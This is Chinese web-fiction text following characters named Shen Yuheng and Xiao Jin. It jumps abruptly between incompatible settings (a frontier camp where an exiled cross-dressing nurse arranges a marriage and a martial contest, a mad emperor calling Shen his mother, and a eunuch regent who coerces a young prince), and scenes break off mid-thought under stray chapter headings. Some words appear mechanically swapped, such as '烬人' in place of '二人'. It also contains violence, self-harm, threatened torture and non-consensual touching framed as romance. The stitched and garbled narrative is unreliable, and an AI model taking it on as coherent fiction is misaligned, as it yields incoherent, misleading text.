沈玉衡纤浓的眼睫忽然轻颤,声音变得低落而难过。 他不知道萧烬会不会答应,可他却似乎只剩下这个办法。所以示弱一些,惹人同情一些,会更容易成功。 他知道这样不好,甚至做起来时,自己也忍不住羞耻和尴尬,更不知道对方会不会吃这一套。 但如果自己的话,他想,自己定不会信这种拙劣的演法。 想到这,他脸庞不由有些发热,头也垂得更低。 萧烬听到这,却握紧了手中刀柄,手背青筋突起。 面前“小女郎”低垂头,露出的纤细颈项在冷风中轻颤,孤伶无助,声音也像因害怕而颤抖。 “等拖过朝廷的婚配令期限,到时我还没成亲,他就可以借他兄长的权势,强行插手分配……” 沈玉衡忍着耳廓发烫,攥紧指尖继续开口。 但话未说完,耳边忽然响起萧烬的狠厉声音—— “我帮你去杀了他!” 萧烬握刀的指骨尤为用力,俊冷面容带着森寒,语气没有丝毫迟疑。 沈玉衡错愕抬头,当即愣住,话都忘了继续说,显然没料到他会直接说“杀人”。 萧烬见他眸中浮现震惊,以为他被吓到,不由松缓几分声音,只是仍嘶哑:“别怕,我不会牵连出你。” 沈玉衡:“……” 这不是会不会牵连的问题,而是蒋百夫长在这个时候死了,是个人都会往他身上想。就算他不在场,就算他没有下手的本事,也少不得会被叫去问话。 或许,萧烬的想法是,他顶多被叫去问几句,问不出就没事了,其他由对方担着。 但蒋校尉必定为弟报仇心切,不放过任何可能。万一讯问时用刑,他男扮女装的事极可能暴露,接着他顶替身份被流放的事也会暴露,再往上查,就会牵连出父亲的旧部以及仍在京中的父亲…… 主要是,这件事还没到需要杀人的地步,杀了人,只会越来越麻烦。 “不能这么做。”沈玉衡忙阻止,下意识抓住萧烬的手臂,察觉自己语气稍急,又放缓声音道,“我的意思是,事情还没到那种地步,且为蒋百夫长这种人搭上你自己,并不值得。” 顿了顿,他忽然又低声,缓缓道:“其实我叫你出来,是想问……” 他垂眸轻语,终于说出目的:“你愿不愿意,跟我成亲?” 萧烬闻言,一时呆怔住。 他在手臂被沈玉衡抓住时,注意力便都移到了被抓的右臂。隔着衣服,那片位置的皮肤似乎都在发烫。 此时冷不丁听到“成亲”两字,脑中更是空白,如刚醒来的那天,忘了所有反应,身影僵如石刻。 北地的寒风将营中大旗吹得猎猎作响,但呜咽的风吹不到这一片小小的安静角落。 沈玉衡说完,便有些紧张望着萧烬。 萧烬神情凝固,许久才像终于找回魂魄,不敢相信似的,干哑嗓音,艰难问:“你……方才说……” “我说,你敢不敢和我成亲?”沈玉衡深吸一口气,重复道。 萧烬再次凝固,心口仿佛瞬间麻痹,血液冲至四肢百骸和头顶,耳边是剧烈的心跳声,冲击鼓膜。 握刀的手指轻颤,黑眸却禁不住浮现光彩。他不敢相信自己听见的,更不敢相信自己真的能有幸得到垂怜。 几乎没有犹豫,他听见自己很快说:“好!” 说完似是觉得这样太过急切和唐突,他又平稳些刚才激动的语气,表面镇定道:“有何不敢?” 沈玉衡没想到他答应得这么干脆,神情有些出乎意料。 可能是松了口气,他犹豫一下,决定先说明一些,斟酌道:“你应该能猜到,我是因为婚配令和蒋百夫长,才……” “我知道,我明白。”萧烬打断,再次道,“我愿意。” 冷静下来后,他确实很快想明白自己能够幸运的原因——沈姑娘需要成亲,来应对婚配令和蒋百夫长,所以选择了他。 他并未因此感到失望或难过,沈姑娘此前只把他当普通伤兵,想也知道,对方不可能忽然喜欢上他。 事实上,如果不是婚配令和蒋百夫长,他和对方本就没有可能。 虽然他还不清楚沈姑娘选择他的原因,但机会只有这一次,稍纵即逝。也许错过了,他就再也无缘站到对方面前。 有这个机会,他就会有更多接近对方的机会,渐渐成为特殊的那个。也许成亲后,他们会慢慢发展,沈姑娘也会喜欢上他一点点? 萧烬垂眸,期盼又侥幸地想。 他知道这样有些趁人之危,沈姑娘只是遇到难处,不得已向他求助。他却藏了私心,抱着不那么光明的目的,冠冕堂皇地答应,以此接近对方,还得到了好感与感激…… 他知道这样不该,可想要得到对方的渴望,终究压到了一切。 可能是沈玉衡愣住了,迟迟没回应,他抬起头,望着对方眼睛,又一次轻声且坚定说:“我都愿意。” 沈玉衡闻言,彻底放下心,接着目露感激。 他没想到萧烬知道他的目的,仍愿意答应。想来是因为失忆,没有阅历,才会被他方才拙劣的演法打动,心生同情。 至于婚后不同房的事,眼下他是女子身份,实在……不好在这里开口。不过,对方知道他是寻求帮助,假意成亲,应该明白他的意思吧? 沈玉衡耳根发烫,定了定神,才再次看向萧烬。 萧烬也正在看他,见他忽然看过来,忙不自然地移开视线,耳后又一片红。 沈玉衡看不到他耳后,加上心中也尴尬,说完这些就觉放下了一块巨石,忙恢复神色,轻咳道:“那这件事就先这么说定了,不过——” 他顿了顿,才继续:“你应该知道,跟我成亲,会得罪蒋百夫长。” 决定和谁成亲后,还需尽快报给管理罪眷的军吏知晓,才能在婚配令到期限时,免于被分配。 蒋百夫长与那军吏熟识,定然早打过招呼。他一上报,对方就会提前知晓,前来阻挠。 且成亲这种事,不可能不走漏消息。 萧烬闻言转回视线,神情也变回冷凝,蹙眉道:“我不怕他。” “我知道你不怕。”沈玉衡温声附和,“但他和他哥的身份摆在那,想为难我们,轻而易举。” 他们觉得他疯了,觉得萧烬只是和这三年的每一分每一秒一样,在孤独的执念越走越远,越走越黑。 他曾经也以为这是一条永无止境,前途黑暗的道路,可是大概是苍天眷顾,他的母妃真的回来了。 可他却不肯认他。 萧烬的心脏像是被拧紧了,却又一滴血都流不出来,没有人知道他已经快要窒息。 这漫长的孤独已经快要让他承受不了…… “继续查下去。”他苍白的指尖死死抓紧棺盖,像是孩童抱着心爱的玩具:“朕没有错,朕不可能会认错,你们要相信朕……” 回应他的依旧只有一声淡淡的叹息。 他没疯。 但所有人都以为他疯了。 第 74 章 第 74 章 74 立冬,于慈正式开了一家医馆。 沈玉衡早看出他有这个心思,于慈辗转各地,一直过着居无定所的日子,但是在京城待久了,心里也有了想扎根的想法。 医馆开张那日,他医治过的不少病患都来探望,从平民到权臣,送礼的队伍把门口围得水泄不通。 沈玉衡望着那车水马龙的景象,不由也激动起来。 忙活了一个白天,晚上打算出发去沈府时,却遇到了沈府派来的家仆。 “周公子,二公子说您忙了一天,早些回去休息吧,京城近来不太平,二公子让我送送您。” 校场中央,萧烬和蒋百夫长相对而立,目光都紧盯对方,一个冷静,黑眸中看不出情绪;一个阴狠,眼底闪过轻蔑。 忽然,蒋百夫长率先冲出,挥拳砸向萧烬面门。 萧烬后仰侧身,轻松避过,同时五指如铁爪,一把抓过对方粗壮小臂,猛地将人拽向自己,另一手高高抬起,欲肘击其后心,同时抬腿击其腹部。 “好!”围栏外以陈青为首的伤兵顿时爆发一声喝彩。 沈玉衡站在旁,目光也紧紧盯着场地中央。 却见蒋百夫长被拽得往前一倾后,忽然一个转身,仰面朝上,未被攥住的手臂猛收起,肘部直捣向身侧——竟是直击萧烬胸口箭伤处。 萧烬忙侧身避开,蒋百夫长单手落地,又是一个扫腿,直踢他腿部刀上位置。 萧烬连连后退,场上形势顿时逆转。 蒋百夫长接连出招,动作迅猛,招招狠厉,直往萧烬有伤的位置打。萧烬因伤在身,动作不比正常时快,避得再及时,也有被打到的时候,一时掣肘。 台上,陈将军皱眉,见萧烬一时只躲避,似有顾虑,打得艰难,不由暗叹。 看来他方才猜得不错,这萧烬确实有伤在身,且还未痊愈,被拖后腿了,只怕这场难赢。 校场外,陈青已经忍不住破口骂:“娘的,咱们伤兵营里肯定有奸细,把萧烬受伤的位置告诉蒋铳了!” 其他伤兵和徐阿婶等人一听,不由都紧张起来,担心望向场上的萧烬。 沈玉衡依旧冷静看着场上,只有藏在袖中手忍不住攥紧指尖。 按照他的计划,萧烬必须先赢下第一项——拳脚比试的头名才行。否则,除非对方在骑射方面,真能做到百步穿杨,箭无虚发,不然就没机会了。 但沈玉衡没亲眼见过萧烬射箭,并不敢赌。 他紧紧盯着台上打斗的两人,虽然萧烬因伤,此刻不占上风,但他见过萧烬之前教训蒋百夫长那两个手下时,出手的招式和瞬间爆发的迅猛。 在他看来,如果萧烬没受伤,一定能赢蒋百夫长。即便对方现在有伤在身,又加之前昏迷躺太久,体力和耐力上有些吃亏,但如果按他之前说的那样,利用技巧和巧劲的话,未必没有赢面。 但到目前,萧烬都没按他说的做,沈玉衡眉心不由微拧,攥着的手愈紧。 场上,萧烬仍被蒋百夫长压制,他被踢中伤处摔倒在地,蒋百夫长侧身一个摔下,手肘直抵他心口。 这若击重,只怕胸骨都要断。 萧烬翻身不及,抬手挡下肘击。他咬紧牙关,面部红涨,五指死死抓着对方肘部,向上抵抗,用力到手背青筋突起。 余光中,他看见了校场外。 沈玉衡压下目光中的焦急,朝他做了个手势。 萧烬咬紧牙,忽然双手猛地一掰,用了沈玉衡给的小册子中的巧劲手法,一把将蒋百夫长掀开。接着一个侧翻,身手矫健如狼,挣脱压制的同时,一个反手,肘部直击对方咽喉,力道之中重,恐怕能将喉骨击碎。 蒋百夫长急忙后仰,却被萧烬又寻到机会,一个旋身,下半身腾空而起,不顾腿部伤势,抬腿扫向对方颈部。蒋百夫长忙抬臂去挡,却仍被重重踢中侧脸,顿时眼前一黑,头晕耳鸣,重重向右摔倒。 接着萧烬一个翻身,将其死死压制,重拳如雨点落下。蒋百夫长还在晕眩中,本能地抬腿想踹开他,却一脚踹空。 萧烬神色狠厉,躲过一脚后,又将他重重按在地面,一拳接一拳砸下,直打得他嘴角崩裂、鼻血横流。 蒋百夫长忍着剧痛,还想伸手扼住上方人脖颈,再次反制,但手臂也重重挨了几拳,最后疼得只顾挡住面部,彻底失了反制机会。 眼看他被打得毫无还手之力,台上的蒋和忽地起身,怒声道:“够了!” 台上的其他人不由都看向他,陈将军也淡淡看他一眼。 蒋和面色一僵,缓了缓语气,又道:“此次大比,应该点到为止。” 众人面面相觑,心想:刚才蒋铳打别人,可没点到为止。 不过蒋和是营中校尉,还是个有背景、敢跟陈将军不对付的校尉,大家都默契不做声。 陈将军此刻倒笑了笑,道:“这样看来,本场是那个叫萧烬的年轻人赢啊。” 旁边的胡郎中一听,忙第一个应和。其他人闻言,也都纷纷附言。 蒋和没说话,面色冷沉地坐了回去。 陈将军这才示意传令兵,传令兵忙敲响铜锣。 场下,萧烬又重重往蒋百夫长脸上砸一拳,这才起身,喘着气后退,目光仍死死盯着对方。 蒋百夫长躺在地上,嘴角流血,已疼得不能动弹。 传令兵此时高声宣布:“大比第一项,比武的头名——萧烬!” 场上先是一片安静,众人仿佛还没反应过来,围栏外的伤兵们先爆发出一阵欢呼。 陈青喊得尤为声响,神情兴奋:“好样的,萧烬,你真是好样的,你真赢了!” 身旁烬子忍不住提醒:“青哥,你押了蒋百夫长赢啊,整整五十钱呢。” 陈青:“……”校场中央,不知是巧合还是有心安排,萧烬和蒋百夫长一直没对上。直到两人都连胜七八场,终于进入最后对决。 高台上,有人见蒋百夫长连战连胜,从头到尾没输过,不由笑着对蒋校尉恭维:“令弟勇猛,看来今年又是头名啊。” 蒋和但笑不语,看一眼上座的陈将军,才故作谦虚道:“仰赖陈将军教导有方。” 陈将军看他一眼,面上笑着说“哪里”,心中却一阵不快。 忽然,他视线落到站在蒋百夫长对面的萧烬身上,神情一亮,道:“此人叫什么?我看他方才好像也胜不少场。” 胡郎中也在看台上,忙压低声:“将军,他就是那个萧烬。” “萧烬?”陈将军面上露出感兴趣的神情,道:“原来是他,我看他接连取胜,兴许也有赢的可能。” 旁人连忙附和。 只是,说这句话的陈将军本人,心中却在遗憾。 原来是萧烬,他对此人还有些印象。没记错的话,对方就是那个押送粮草唯一活下来的士兵。之前伤成那样,现在肯定还未痊愈,就算身手不错,一时打赢别人,但对上蒋铳这样身强力壮、从小就练武的人,恐怕也难取胜。 尤其两人都连打这么多场,萧烬有伤在身,会比蒋铳更容易疲乏。 正这样想着,底下萧烬和蒋百夫长都已迅猛出手。 笑容转瞬而逝。 其他伤兵仍在欢呼,徐阿婶不住“阿弥陀佛”,直说:“老天保佑。” 沈玉衡也抿起唇,眸中遮不住笑意。 欢呼声传到场地中央,士兵们瞬间也爆发出阵阵喝彩。 张虎等几个先被淘汰的同伴,率先冲上前去,险些要把萧烬举起来高喝。 萧烬脸上还沾着血,一只眼睛乌青,但并不影响俊美,破了皮的拳头高举,呼应周围人的欢呼,目光却穿过人群,直直望向沈玉衡的方向。 沈玉衡也正在看他,清冷玉丽的眸中带着浅笑。 萧烬方才还冷峻的神情,瞬间如冰雪消融,乌青的嘴角忍不住也弯起,却疼得“嘶”一下,眉头轻皱。 沈玉衡忍俊不禁,觉得他上一瞬还冷面,下一瞬就有些傻气。 下午还有两个骑射项目要比,在那之前,士兵们可以先回去吃顿饭。 虽然营中一天只供两餐,但今天情况特殊,上午刚参加过大比的士兵饿得快,总不好叫人下午饿着比。 萧烬在一群人的簇拥下,走出校场围栏。目光与等候在旁的沈玉衡对上时,他不觉停了脚步,定定望着对方。 沈玉衡朝他露出一个会心的笑,道:“先回去,我帮你上些药,把伤包扎一下。” 萧烬眸中藏着亮光,局促地点头,抿着的唇角不觉又扬起。 一行人拥着他,欢呼着往伤兵营去。 后方,被搀扶走下场的蒋百夫长脸上青肿,眼神却阴狠看向萧烬背影。 正扶着他的徐洪忙讨好道:“百夫长何必气馁?那小子不过是走运,巧合赢了一场,等下午比试骑射,他定不如您。” “呵,还用你说?”蒋百夫长一把推开他和牛峰,一瘸一拐走到校场边的一根横木坐下。 徐、牛烬人不敢大意,连忙跟上。 蒋百夫长面色阴沉,见四周无人了,才压低声音,对烬人道:“即便如此,也不可大意,射靶不好动手脚,就罢了,最后一场必须要赢。” 这样连赢后面两场,大比的最终第一名,仍会是他。 “您的意思是……” 徐、牛烬人对视一眼,很快会意。 萧烬自顾自摇了摇头,嘴角勾起一个自嘲的弧度。 “朕永远认得出你是谁。” 他曾经那么恨沈玉衡,坚信他化成灰,自己也能轻而易举认出他,杀了他…… 后来他不再恨沈玉衡了,但他依旧认得出他。 无论怎样都能。 可沈玉衡却只是浅笑了一下:“陛下知道我是谁便好,从今往后,陛下喊我周玉就可以,其他的称呼……我实在担当不起。” 沈玉衡说完,起身离开,这一次他吸取教训,直接走向身后,径直朝茶楼外走去。 萧烬身体前倾了一下,又猛地僵住。 他本能想要抓住沈玉衡,却不知道该以什么样的理由留住他。 伸出的手,他握了握虚无的空气,冷风从指缝里贯入,连掌心都是凉的。 第 75 章 第 75 章 75 翌日,萧烬就出现在了医馆。 ……甚至比他来的还早。这顿饭虽对沈玉衡而言,是从不敢奢望的,但他并未贪多,只吃了个七分饱的样子。 因夜色已深,沈玉衡在听见萧烬吩咐人为他沐浴时,他还紧张了好一阵。 他不习惯被伺候这些事儿,可显然没法跟萧烬说不是,只能自己避让开来。 他却不知晓,这事转头就被报给了萧烬。 萧烬坐在东宫的书房中,低头看着奏折,随口道:“是还有些不知规矩,毕竟这么些年没得到过半点皇子该有的待遇。” 赵宝在旁侧研墨,小心地觑了眼没什么表情的萧烬,没有要说话的意思,底下那些人,就更没有敢说话问一句那是否要教规矩。 在萧烬手底下多待几日的,但凡机灵点的,便知这位千岁爷最厌恶旁人置喙。 尤其沈玉衡是他亲自挑的,他们也都有眼睛,看得出来萧烬挑得不仅仅是个傀儡,还动了些旁的心思。 故而书房内安静了片刻后,等萧烬批完手里这报了要事的奏折,才有了声音。 萧烬:“先放着吧。” 他漫不经心的样子,像是在思索着旁的事,又想起什么似的,勾了下嘴角,语意有些不明道:“把一株野草从墙根里挖出来当玉花儿养着,总得叫他先习惯习惯换了土这事儿。” 几人应是。 沈玉衡并不知晓自己被放置了,他在跟着小圆子到了寝宫后,就先上了床榻——左右也没别的事,他不如先试试能不能早点睡着,祈祷一下萧烬还算是个人,不会刻意把他闹起来。 这里的床榻用料极好,能够闻到淡淡的楠木甜香,触手所及的,皆是柔软到他都下意识轻手轻脚的绫罗绸缎。 沈玉衡其实没什么睡意,但熬着熬着,也就渐渐沉入了梦乡。 等到他再醒来时,他便意识到昨夜萧烬未来过。 不知是该松口气,还是为今夜再提一口气。 因为他知晓,这一日总会来的,语气叫他这般提心吊胆,不如早些,他也能早点摸一摸萧烬在这上头是何脾性。 他听嬷嬷说过的,东厂有些太监也是会娶妻纳妾的,只是因他们与寻常男子不同,故而在这事上,总是有些……心狠手辣。 嬷嬷说,见过好几次横着出来的,身上连一块好肉都找不着。 沈玉衡在床上静坐了许久后,脑海思绪千转百回,且回忆起萧烬出现在他面前后他桩桩件件的反应……没问题。 沈玉衡眼睫微动,平静地做了个深呼吸,也终于起身。 他自己穿好了鞋袜和衣裳,走到门口推开门时,守着的小圆子就忙冲他行礼:“殿下。” 小圆子示意:“千岁爷说您醒了就领您去书房,有事交代。” 他没有为他的“失职”,不知主子起来、没有侍奉主子晨起而告罪,却反而叫沈玉衡舒服了些:“好。” 沈玉衡说:“你带路吧。” 他对这东宫,陌生得很。 小圆子将沈玉衡带至书房门口时,恰好听见萧烬在里头发了好大一通脾气:“……锦衣卫都是吃干饭的吗?!程归呢!?叫他提着自己的脑袋给我送过来!我倒要看看他那颗猪脑袋里装了些什么狗屁东西!” 沈玉衡和小圆子停在了外头,沈玉衡不确定自己能不能听朝政之事,正想要默默退去,又听见里头传来森冷的一声:“进来。” 沈玉衡微顿,看了眼吓得两股颤颤,将要失态的小圆子,在心里低叹了声,主动上前推开了那扇厚重的门,再又默默关上。 他凝神瞧去时,便见书房内跪倒了一片,从官服来看,有东厂的太监,也有锦衣卫。赵宝都跪在地上,没人敢看沈玉衡,这就使得沈玉衡一时也不知自己该不该往前,只能先在原地冲萧烬微微拱手:“厂公。” 萧烬撩起眼皮看了低眉顺眼的沈玉衡一眼。 这屋里都是自己人,他自然不用太维系太子颜面。 故而萧烬直接冲沈玉衡伸出了手,他掌心朝上,瞧着像是招猫逗狗似的,却反而叫沈玉衡没什么感觉。 总比昨夜被萧烬强行量身好。 沈玉衡绕过跪了一片的人走过去,抬手又要拜一拜再道一声厂公,没承想萧烬直接握住了他的手。 沈玉衡一僵,本能叫他不可思议地抬眼,在对上萧烬没几分笑意的黑眸时,又意识到什么,不敢挣扎。 萧烬虽是个阉人,手却并不生得白皙娇嫩,他的骨节是很大的,手指修长有劲,指腹上还覆着很明显的茧,手背上也有些或大或小的新旧伤痕。 沈玉衡的手其实并不秀气了,但被他这样一抓,还是几乎被他包裹着,让他意外的是,萧烬只是让开了位置,叫沈玉衡坐在了椅子上,随后与底下一干人道:“还跪着做什么?等我请你们用早饭?” 他这话一出,几人齐刷刷道:“属下不敢,属下告退。” 就连赵宝,都跟着先离开了。 沈玉衡现下是跟不跟萧烬独处都紧张,他身体绷着,也骗不过萧烬。 萧烬似笑非笑地靠坐在书桌上,单手横过沈玉衡身前,撑在扶手上,将沈玉衡封锁在那把交椅中:“殿下这般怕我?” 沈玉衡微抿唇:“…我不喜与人肢体接触。” 萧烬微扬眉:“那殿下日后怕是要多好多忍耐了。” 他抬起自己另一只手,身体微微前倾,他掌心贴上沈玉衡的脸,虎口卡住他的下颌,半强迫地逼人仰头看他。萧烬充满侵略性地逼近沈玉衡,温柔的语调却没有半分柔情蜜意,只有冰冷的恶劣逗弄:“毕竟殿下这张脸我瞧着,便是皇后的凤冠、凤袍都比不得,还有这手感……” 萧烬是真心实意地感叹着,却也因此显得更为露丨骨狎丨昵:“若不是记着殿下似乎面皮儿薄得厉害,臣方才便要将你拉进怀里,细细把玩一番。” 沈玉衡不可思议地看着他。 登徒子! 但还没等他从这话中缓过来,萧烬的手又顺着往下,轻轻贴上了他的脖颈。 沈玉衡几乎是本能地想要低头,但被萧烬一句轻飘飘的“抬着”,生生给止住了动作。 沈玉衡闭了闭眼,隐忍着仰起了脑袋,不去看他。 萧烬瞧见他这副模样,眼里的兴味就再度燃了起来,如火一般,瞬间便点燃了他方才因为那帮手下办事不力而噌噌往上冒的火气,但却转为了另一种高亢。 他轻轻圈着手底下这截“白玉”,食指指腹有一下没一下地摩挲过沈玉衡头颈连接处的那一块儿软肉,都磨红了,也不愿意松手。 他今儿个算是真的明白了,为何会有人喜欢赏玉、玩玉,这感觉确实…… 萧烬手上的力道重了几分,大拇指的扳指压在那薄薄的皮.肉里,陷得更深。 他望着沈玉衡的眼睫随着他的动作抖了抖,更觉有趣。 但他手底下这块玉,不仅是全天下独一无二的,也要比那些石头有意思多了。 沈玉衡说自己不习惯与人接触,并非谎言。 他自小被遗忘在了角落,兄长们不会与他玩,父皇的妃嫔们,也多数嫌他晦气,明里暗里说他是扫把星,也不敢同他亲近。 他母妃母家获罪,诛九族,他还能留一条命已是难得。 毕竟父皇最不缺的,就是儿子。 从小同他住在一块儿的嬷嬷更是把他奉若主子,他有记忆后,莫说抱了,像母亲一样牵着他的手在院内走一走都没有过。 沈玉衡当然有憧憬羡慕过,但绝不是像现在这般—— 他的指甲嵌进了肉里,扎得生痛,都没有控制住自己的表情。 可他并不知晓,他这样初看孤高清冷,仿佛游离于人世外的仙人露出这样的神态,有多叫萧烬这种心理早就不正常了的疯子有多兴奋愉悦,甚至有一种莫大的满足感,去填补他藏在心底最深处因为与正常男子不同的自卑,去弥补那个空洞。 “……殿下。” 萧烬慢慢道:“臣有一事要与你说。” 明明被掌控的是沈玉衡、做不了主的也是沈玉衡,他话语里却无端真多了几分奴才的谦卑,更叫此时的上下位者关系混乱,也让沈玉衡觉得自己那一块皮肤都要给萧烬蹭破皮了。 但他此时却不得不因为萧烬的话而思绪稍稍回笼。 他…要说什么? 是说他与他的交易,他要如何向他索取报酬么? 眼见绷得更加厉害,萧烬无声低笑,语气却十分正常:“按照规章,今日皇帝,也就是你父皇便要在皇祠中停灵七日,他的所有孩子、妃嫔,从二品以上的朝臣,皆要于殿内跪拜哭丧至灵起,这七日你们这些孩子是不能进食的。太医院院使,昨日给你把过脉的,他说你的身子本就有亏空,你年纪太小,这七日耗下去怕是可能会伤及根本。” 沈玉衡今年春时满的十八,连弱冠都没至。 萧烬淡淡:“所以今日你同我吃早饭后,便与我一道去一趟,再回来。” 沈玉衡没想到他说的是正事,他愣了下,思绪也跟着散了些。 然后下一秒,他便感觉到萧烬的食指指尖突然滑动着点在了他的喉结上,瞬间就叫沈玉衡下意识地攥住了他的手腕。 束口的刺绣硌着他掌心自己掐出来的印子,又叫他拧了拧眉。 萧烬微顿,方才起的逗弄姿态都收敛了些,他攥住了沈玉衡的手腕,用的力度刚好,叫沈玉衡被迫展开了五指。 他以为萧烬是不喜他刚才抓他的事,脊背冒了一片冷汗,正要道歉,就听萧烬冷声道:“你下次再掐自己,我就亲手把你的指甲盖一个个拔了。” 沈玉衡一惊,看向萧烬的目光中多了几分惊怒:“你……” “太子殿下。”萧烬手上的力度又大了几分:“听见了么?” 沈玉衡低下眼,显然是有点被吓到,微抿住了唇,很轻地应了声:“嗯。” 萧烬低眼看着他掌心里的月牙印,微微舔了舔唇,到底还是克制住了。 国丧…他无所谓。 只是他师父、义父,纵使他对他的感情再复杂,他也承认夏士诚于他有大恩,那些旁的仇恨纠葛…人终究死了。 他们父子情分一场,他理应为他守孝一年。 萧烬的情绪缓下来,又看着低着头不敢动作的沈玉衡,无端想起自己从前还没爬到够高的位置时,即便有再傲的骨头,也得自己亲手打断了去当狗的那段日子。 “……太子殿下。” 萧烬语调随意:“喜欢抓着什么东西的话,下次可以抓着臣。” 沈玉衡第一时间没吭声。 萧烬:“嗯?” 沈玉衡其实不喜他这训他的姿态,但不得不求全:“不小心抓伤厂公了,厂公会把我手给砍了么?” 萧烬:“……” 他觉得好笑,哼笑了声后,今天糟糕透了的心情终于彻底见晴:“就你那猫挠儿似的力气?” 沈玉衡:“?” 他觉得这句话比萧烬摸他脖子还要羞辱他! 见沈玉衡终于出现,一直在医馆门口徘徊的于慈,悬着的心也总算放了下来。 看见沈玉衡单薄的背影走进门,于慈犹豫几步,还是叫住了他。 老医师招呼他回来,压低发抖的声音:“圣上指明要你进去,若是出了什么事,你大声喊两句,我肯定不能让你吃亏。” 沈玉衡领了他的好心:“谢谢师父。” 话是这么说,但沈玉衡其实不太担心。 第 76 章 第 76 章 76 血液顺着两人交汇处不断向下流淌,滚烫的热度几乎灼伤了肌肤。 比这触目惊心的一幕更令他感到惊悚的,是萧烬说出的话。 杀着玩……他为什么要拿萧烬杀着玩? 他又不是变态! 但萧烬仍在扯着刀子撕扯自己,沈玉衡的注视反而激励了他,他越发的兴奋起来。 “母妃,你再看看朕……” “你……够了,你别再乱来了!”沈玉衡无可奈何,强行按住萧烬还想继续伤害自己的手。 日,用过朝食,沈玉衡和女眷们一起往伤兵营去。 永丰是个小镇,屯扎在此的兵力只有三四千,虽前不久刚被北边胡人突袭,但只是小股兵力骚扰,没发生大战,营中伤兵不多,不需每日都来收衣浣洗。 不过营中只有一个郎中,人手不足。 这批被流放来的女眷,除了几个运气好的,被安排在伙房做饭烧火,其余都被派来伤兵营,平日除了浣衣,也要烧水、熬药、缝补衣物,照顾伤兵。 至于男囚,押来的第一天,就都被拉去城墙上,修筑墙体、烽台了。 沈玉衡和徐阿婶等几个年长的妇人一起领了照顾伤兵的活。 照例帮几个伤在腰腹大腿的伤兵换完药后,他抬起手背,擦拭光洁额上的一层虚汗。 刚被他换过药的小兵腰腹绑着白色布带,黝黑脸上禁不住浮现几分不自然的红。 沈玉衡并未察觉,他风寒还没好全,昨天在河边又受了寒,今天身体果然有几分虚,端着箩筐起身时,眼前忽地一阵发黑。 站在原地缓了一会儿,视线才渐渐恢复,他端着箩筐出去,经过营帐一个不起眼的角落时,脚步忽又顿住。 铺着干草和旧被褥的破板床上,躺着一个被浑身像血糊住的人——他双目一直紧闭,已然昏睡多日。 那张脸倒是意外地年轻,剑眉如墨,鼻梁英挺,轮廓俊朗。垂在身侧的右手紧握着一柄黑铁弯刀,昏睡时仍攥得格外用力,指骨仿佛与刀柄融为一体。 沈玉衡知道这个人,刚被调来伤兵营时,就听伤兵们议论过。 月前,雍州郡守配合镇守在并州的燕王世子萧烬,与北方胡人数度交战。 中途粮草紧缺,永丰镇守兵接到郡守命令,急派一支千人队伍,护送粮草前往支援。哪知行至半途,忽然遭胡人突袭,粮草尽数被劫,一千人也全军覆没。 事后驻地守兵派人去寻,除了满地尸骸,只在距交战地有段距离的一座沙丘后,发现一个身受重伤但还有些气息的士兵——就是眼前这个躺在木板床上,昏迷不醒的血糊人。 据说刚抬回来时,这人已经快进气少、出气多,手中却仍死死握着黑铁弯刀,怎么都掰不开。 营中唯一的郎中来看过情况,便直摇头,叹道:“没救了。” 约莫是觉得他反正快死了,握刀的手又实在弄不开,也没人帮他把甲衣脱了,就这么直接放在破木板床上。 “粮草被截,就算能醒过来,也少不得会被问罪。” “倒是他握着的那把刀,看着像胡人的,说不定还是哪个胡人大将的佩刀,莫非是缴获的?” “都全军覆没了,还能是缴获?说不准是运气好,捡的。” “若粮草没被截,就算是捡的这把刀,说不定也能捞个军功,混个伍长、什长当当。” 沈玉衡刚来营帐那天,就听几个伤兵这么议论。 那时这人衣上的血还是红的,慢慢才干涸成现在的黑褐色,不知是他自己的血,还是别人的。 那天他给其他伤兵换完药,经过这个无人管的角落时,犹豫一下,还是蹲下身,给这个静静躺在无人问津的角落,只能慢慢等死的人也换了药。 对方身上伤口很多,但只有右胸一处箭伤最致命…… “沈姑娘,又来给那小子换药啊?” 见沈玉衡在这里停下,不远处褥子上躺着的一个断腿伤兵探身好奇问。 然后不等他回答,就兀自道:“嗐,要我说还是别白费功夫了,咱们营中药也不多。那小子抬回那天就快不行了,现在就是吊着口气,胡郎中都说没得救。” 旁边另一个伤兵抬头看一眼,然后也直摇头:“箭拔了,药也上了,要是能醒早就醒了。我看他躺了这些天,伤没好转,进气倒是一天比一天少,脸都快白成外面的雪了。” “指不定就是这一两天的事,唉,也是苦命。” 见沈玉衡一直没开口,几个伤兵倒先聊了起来。 沈玉衡目光从他们身上移回,慢慢又落到面前的“血糊人”身上。 这几天,他每次来,都照常给这人换药,和对其他伤兵没什么区别,不管他是真快死了,还是营中唯一的郎中都已经放弃,宣布过他的“死期”。 和往常一样,沈玉衡此时也放下箩筐,掀起床上人的甲衣,目光顿了一下,然后伸手解开包扎的布条,仔细看向伤口位置。 此前不知这人昏睡不醒的原因,但经历梦境那一遭后——尤其是梦中他在西羌跟那位中原游医学医,似乎让现实的他也莫名有了经验,很快判断出此人箭伤有毒。 不过眼下并无解药,沈玉衡凝视片刻,还是和往日一样,先清洗伤口,然后敷药,包扎。 这是营中对普通外伤的处理办法,也是唯一办法。 黑糊状的药膏均匀涂抹在箭伤时,仍在昏迷中的人似乎能感受到伤口突然产生的剧痛,箭伤附近的肌肉忽然紧绷,握着弯刀的指骨发白,右臂也似在痉挛。 沈玉衡像没察觉,神色如常,熟练地把布条缠好、打结,才目光扫向这具肌理分明的身体——很年轻的身体,线条结实流畅。如果不是一直昏迷,应该很有力量。 沈玉衡用小拇指戳一下方才紧绷,现在又渐渐松缓的肌肉,然后若无其事地收回——不是想象中的硬邦邦。他顺手给对方盖上衣服,神情如常,好像什么都没发生过。 端起箩筐起身,还没走出营帐,门口忽然传来喧哗声。 “快快,老大夫呢?老郎中呢?赶紧来,要死人了!” “放平放平,都别围着,快去喊胡郎中!” “啊——娘,哥,疼——嗬、嗬——” 吵闹声中掺杂痛呼,没一会儿,营中唯一的郎中——胡老先生就急匆匆赶来,身后还跟着他的小孙子,胡圆儿。 沈玉衡被挤在人群外,透过人群缝隙,看见地上的木板上躺着一个脸色煞白、痛苦哀嚎的小兵,他腹部不知怎么被开了口,正被捂着,肠子都流了出来。 胡郎中一看这情形,当场愣住。 他只是个普通郎中,平时治治一般外伤还行,就是断手断脚,也能用火烫法勉强给止血。 但这破肚断肠,他是从没治过。要是有这本事,他还能在永丰这个小地方呆着? “胡郎中,快别站着,赶紧救人啊!”旁边人见他发愣,忙推一把。 